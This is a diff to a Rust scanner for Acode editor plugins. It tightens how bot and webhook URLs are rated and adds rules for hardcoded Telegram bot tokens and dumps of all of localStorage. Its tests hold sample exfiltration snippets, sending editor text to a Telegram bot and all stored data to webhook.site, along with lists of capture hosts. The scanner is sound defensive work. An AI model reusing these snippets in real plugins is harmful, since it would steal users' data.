diff --git a/README.md b/README.md index 8a65034..d352025 100644 --- a/README.md +++ b/README.md @@ -113,9 +113,17 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's - **Aggregation.** One finding per rule, stable key, and file, with an occurrence count and up to 8 locations. - **Endpoints are inventory.** URLs go into an `endpoints` list. Only known - exfiltration or payload hosts become findings: webhooks, request bins, - Telegram bot API, Apps Script, paste sites, tunnels, shorteners, raw public - IPs, `.onion`. + exfiltration or payload hosts become findings: request bins, paste sites, + tunnels, shorteners, raw public IPs, `.onion`. Telegram, Discord, Slack and + Apps Script URLs are High only when their secret (bot token, webhook id and + token, script id) is written into the plugin, since that channel belongs to + the author. Just the API base, with the token added at runtime from the + user's settings, is Low (`bot-api`). A Telegram bot token anywhere in a + string is `hardcoded_bot_token` (H), even when it is split from the URL. +- **Own storage is not user data.** Reading a plugin's own `localStorage` + keys doesn't count toward exfiltration. Dumping all of it (`Object.keys`, + `JSON.stringify(localStorage)`, spreading it, `for…in`, `.key(i)`) is + `web_storage_dump` (M) and does. - **Base64 is decoded.** A long base64 string is only flagged when it decodes to JavaScript. @@ -171,11 +179,11 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's | Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | | Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) | | Acode API | `webview_remote_page` (M), `webview`, `webview_script`, `intent_module`, `intent_handler`, `require_dynamic` (L), `install_plugin` (M), `editor_hook`, `require_module`, `define_module`, `global_key_listener` (I) | -| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) | -| Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) | +| Network | `suspicious_endpoint` (H/M/L by host type), `hardcoded_bot_token` (H), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) | +| Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file`, `web_storage_dump` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) | | Obfuscation | `obfuscator_tool`, `packer`, `jsfuck`, `encoded_js_payload` (H), `js.parse_failed`, `js.too_large`, `js.invalid_utf8` (M), `escaped_strings`, `hex_array` (L) | | WebAssembly | `remote_module` (H), `eval_import` (H, under dynamic code), `disguised`, `bad_magic`, `parse_failed` (M), `module`, `embedded_module` (L), `instantiate` (I) | -| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint | +| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint or a hardcoded bot token | Prefixes are omitted in the table; full IDs look like `shell.exec`. @@ -185,7 +193,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`. { "schema_version": 2, "scanner_version": "0.4.1", - "rules_version": "2026.11.2", // rescan stored plugins when this changes + "rules_version": "2026.11.3", // rescan stored plugins when this changes "plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... }, "verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] }, "summary": { "total_findings", "by_severity", "by_category" }, diff --git a/src/analysis.rs b/src/analysis.rs index a74301c..1edd484 100644 --- a/src/analysis.rs +++ b/src/analysis.rs @@ -248,13 +248,16 @@ fn correlate(report: &mut Report, sensitive_files: &[String]) { .findings .iter() .filter(|finding| { - finding.id == "network.suspicious_endpoint" && finding.severity >= Severity::High + matches!( + finding.id.as_str(), + "network.suspicious_endpoint" | "network.hardcoded_bot_token" + ) && finding.severity >= Severity::High }) - .map(|finding| { + .filter_map(|finding| { finding .key - .trim_start_matches("network.suspicious_endpoint:") - .to_string() + .split_once(':') + .map(|(_, host)| host.to_string()) }) .collect::>() .into_iter() @@ -653,6 +656,104 @@ mod tests { assert_eq!(report.verdict.recommendation, Recommendation::Block); } + #[test] + fn bot_manager_with_runtime_token_is_not_exfiltration() { + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + br#"acode.setPluginInit('com.example.p', () => { + const bots = JSON.parse(localStorage.getItem('bots') || '[]'); + const api = (token, method, body) => fetch('https://api.telegram.org/bot' + token + '/' + method, { method: 'POST', body: JSON.stringify(body) }); + for (const b of bots) api(b.token, 'getUpdates', { offset: b.offset }); + localStorage.setItem('bots', JSON.stringify(bots)); + });"#, + ), + ]); + assert!( + !report.has("correlation.exfiltration"), + "{:#?}", + report.findings + ); + assert_eq!( + report.verdict.recommendation, + Recommendation::Pass, + "{:#?}", + report.findings + ); + } + + #[test] + fn hardcoded_bot_token_with_editor_read_is_blocked() { + // Built at runtime so no token-shaped literal sits in the source. + let token = format!("{}:{}", "7".repeat(10), "x".repeat(35)); + let source = format!( + r#"acode.setPluginInit('com.example.p', () => {{ + const k = '{token}'; + const text = editorManager.activeFile.session.getValue(); + fetch('https://api.telegram.org/bot' + k + '/sendMessage', {{ method: 'POST', body: JSON.stringify({{ chat_id: 1, text }}) }}); + }});"# + ); + let report = scan(&[MANIFEST, ICON, README, ("main.js", source.as_bytes())]); + assert!( + report.has("network.hardcoded_bot_token"), + "{:#?}", + report.findings + ); + assert!( + report.has("correlation.exfiltration"), + "{:#?}", + report.findings + ); + assert_eq!(report.verdict.recommendation, Recommendation::Block); + } + + #[test] + fn web_storage_dump_to_webhook_is_blocked() { + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + br#"acode.setPluginInit('com.example.p', () => { + fetch('https://webhook.site/x', { method: 'POST', body: JSON.stringify(localStorage) }); + });"#, + ), + ]); + assert!( + report.has("storage.web_storage_dump"), + "{:#?}", + report.findings + ); + assert!(report.has("correlation.exfiltration")); + assert_eq!(report.verdict.recommendation, Recommendation::Block); + } + + #[test] + fn own_storage_keys_with_webhook_is_review_not_block() { + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + br#"acode.setPluginInit('com.example.p', () => { + localStorage.setItem('seen', '1'); + fetch('https://webhook.site/x', { method: 'POST', body: 'ping' }); + });"#, + ), + ]); + assert!( + !report.has("correlation.exfiltration"), + "{:#?}", + report.findings + ); + assert_eq!(report.verdict.recommendation, Recommendation::Review); + } + #[test] fn unreadable_zip_is_an_error() { let dir = tempfile::tempdir().unwrap(); diff --git a/src/report.rs b/src/report.rs index e1d5eb4..9e6732b 100644 --- a/src/report.rs +++ b/src/report.rs @@ -7,7 +7,7 @@ use crate::severity::{Category, Confidence, Severity}; /// Bumped whenever the JSON shape changes incompatibly. pub const SCHEMA_VERSION: u32 = 2; /// Bumped whenever rules or severities change, so stored reports can be rescanned. -pub const RULES_VERSION: &str = "2026.11.2"; +pub const RULES_VERSION: &str = "2026.11.3"; /// Upper bound on extra source locations kept per aggregated finding. const MAX_LOCATIONS: usize = 8; diff --git a/src/rules.rs b/src/rules.rs index f9d8358..1391b37 100644 --- a/src/rules.rs +++ b/src/rules.rs @@ -105,6 +105,9 @@ pub struct FileFacts { /// Reads data worth stealing: files, editor text, cookies, purchases, clipboard. pub reads_sensitive_data: bool, pub listens_to_keys: bool, + /// Whether the file dumps all of localStorage / sessionStorage; computed + /// on the first storage reference. + pub web_storage_dump: Option, pub minified: bool, /// WebAssembly modules inlined as base64 strings. pub embedded_wasm: Vec>, @@ -739,6 +742,31 @@ fn classify_fallback(ctx: &mut RuleContext<'_>, call: &Call<'_>) { ); } +/// Code that walks or serialises the whole of web storage rather than +/// reading keys by name. +static WEB_STORAGE_DUMP: LazyLock = LazyLock::new(|| { + let storage = r"(?:(?:window|globalThis|self)\s*\.\s*)?(?:local|session)Storage\b"; + Regex::new(&format!( + r"Object\s*\.\s*(?:keys|values|entries|assign|getOwnPropertyNames)\s*\([^)]*?{storage}|JSON\s*\.\s*stringify\s*\(\s*{storage}\s*[,)]|\.\.\.\s*{storage}|\bin\s+{storage}|{storage}\s*\.\s*key\s*\(" + )) + .unwrap() +}); + +/// A Telegram bot token (`:<35-char secret>`) written into the plugin. +static TELEGRAM_BOT_TOKEN: LazyLock = LazyLock::new(|| { + Regex::new(r"(?:^|[^0-9A-Za-z_-])(\d{6,12}:[A-Za-z0-9_-]{30,50})(?:$|[^A-Za-z0-9_-])").unwrap() +}); + +/// Webhook and bot URLs that carry their secret in the URL itself. Written into +/// the plugin, they point at a channel the plugin author controls; built from +/// a token the user enters at runtime, they point at the user's own bot. +static WEBHOOK_WITH_SECRET: LazyLock = LazyLock::new(|| { + Regex::new( + r"(?i)api\.telegram\.org/(?:file/)?bot\d+:[a-z0-9_-]+|discord(?:app)?\.com/api/webhooks/[^/\s]+/[^/\s?#]+|hooks\.slack\.com/(?:services|workflows|triggers)/[^\s?#]+|script\.google\.com/macros/s/[a-z0-9_-]+", + ) + .unwrap() +}); + static INLINE_HANDLER: LazyLock = LazyLock::new(|| { Regex::new(r#"(?i)[\s"'/]on[a-z]+\s*=|javascript:"#).expect("valid handler pattern") }); @@ -2233,7 +2261,23 @@ pub fn classify_tamper_target(ctx: &mut RuleContext<'_>, span: Span, target: &st pub fn classify_reference(ctx: &mut RuleContext<'_>, name: &str, span: Span) { let (id, severity, category, message) = match name { "localStorage" | "sessionStorage" => { - ctx.facts.reads_sensitive_data = true; + // A plugin reading its own keys is not user data. Dumping every + // key reads other plugins' and Acode's saved state, so that counts. + if ctx.facts.web_storage_dump.is_none() { + let dump = WEB_STORAGE_DUMP.find(ctx.source); + ctx.facts.web_storage_dump = Some(dump.is_some()); + if let Some(dump) = dump { + ctx.facts.reads_sensitive_data = true; + ctx.add( + "storage.web_storage_dump", + Severity::Medium, + Category::Storage, + Some(Span::new(dump.start() as u32, dump.end() as u32)), + "Reads every localStorage / sessionStorage entry, including other plugins' saved data", + shorten(dump.as_str(), 120), + ); + } + } ( "storage.web_storage", Severity::Info, @@ -2276,6 +2320,23 @@ pub fn classify_string(ctx: &mut RuleContext<'_>, value: &str, span: Span) { if value.len() >= 8 && value.contains("://") { ctx.facts.urls.extend(extract_urls(value)); } + if value.len() >= 37 + && let Some(token) = TELEGRAM_BOT_TOKEN.captures(value).and_then(|c| c.get(1)) + { + let token = token.as_str(); + let (bot, _) = token.split_once(':').unwrap_or((token, "")); + ctx.push( + ctx.finding( + "network.hardcoded_bot_token", + Severity::High, + Category::Network, + Some(span), + "Contains a hardcoded Telegram bot token, so messages it sends go to the plugin author's bot", + format!("bot {bot}:…"), + ) + .keyed("api.telegram.org"), + ); + } if let Some(module) = decode_wasm_payload(value) { if ctx.facts.embedded_wasm.len() < MAX_EMBEDDED_WASM { ctx.facts.embedded_wasm.push(module); @@ -2557,33 +2618,49 @@ pub fn classify_endpoint(url: &str, host: &str) -> Option { }) }; + if WEBHOOK_WITH_SECRET.is_match(&lower) { + return risk( + "webhook", + Some(Severity::High), + "Sends data to a webhook / bot whose secret is hardcoded in the plugin (a channel the author controls)", + ); + } if [ "discord.com/api/webhooks", "discordapp.com/api/webhooks", "api.telegram.org/bot", - "hooks.slack.com/services", + "api.telegram.org/file/bot", + "hooks.slack.com/", "script.google.com/macros", ] .iter() .any(|needle| lower.contains(needle)) - || host_is(&[ - "webhook.site", - "pipedream.net", - "requestbin.com", - "requestcatcher.com", - "beeceptor.com", - "interact.sh", - "oast.fun", - "oast.pro", - "oast.live", - "oast.site", - "oast.online", - "oast.me", - "burpcollaborator.net", - "canarytokens.com", - "hookbin.com", - ]) { + // Only the API base is in the plugin; the secret comes from somewhere + // else at runtime, usually the user's own settings. + return risk( + "bot-api", + Some(Severity::Low), + "Uses a bot / webhook API with a token supplied at runtime", + ); + } + if host_is(&[ + "webhook.site", + "pipedream.net", + "requestbin.com", + "requestcatcher.com", + "beeceptor.com", + "interact.sh", + "oast.fun", + "oast.pro", + "oast.live", + "oast.site", + "oast.online", + "oast.me", + "burpcollaborator.net", + "canarytokens.com", + "hookbin.com", + ]) { return risk( "webhook", Some(Severity::High), @@ -2878,6 +2955,18 @@ mod tests { assert_eq!(tag("https://abc.ngrok-free.app/x"), Some("tunnel")); assert_eq!(tag("http://45.12.1.9:8080/p"), Some("raw-ip")); assert_eq!(tag("http://127.0.0.1:3000"), Some("local")); + // Built at runtime so no token-shaped literal sits in the source. + let token = format!("{}:{}", "1".repeat(9), "x".repeat(35)); + assert_eq!( + tag(&format!("https://api.telegram.org/bot{token}/sendMessage")), + Some("webhook") + ); + assert_eq!(tag("https://api.telegram.org/bot"), Some("bot-api")); + assert_eq!(tag("https://discord.com/api/webhooks/"), Some("bot-api")); + assert_eq!( + tag("https://script.google.com/macros/s/AKfycbx1abc/exec"), + Some("webhook") + ); assert_eq!(tag("https://discord.com/invite/x"), None); assert_eq!(tag("https://acode.app/api"), None); }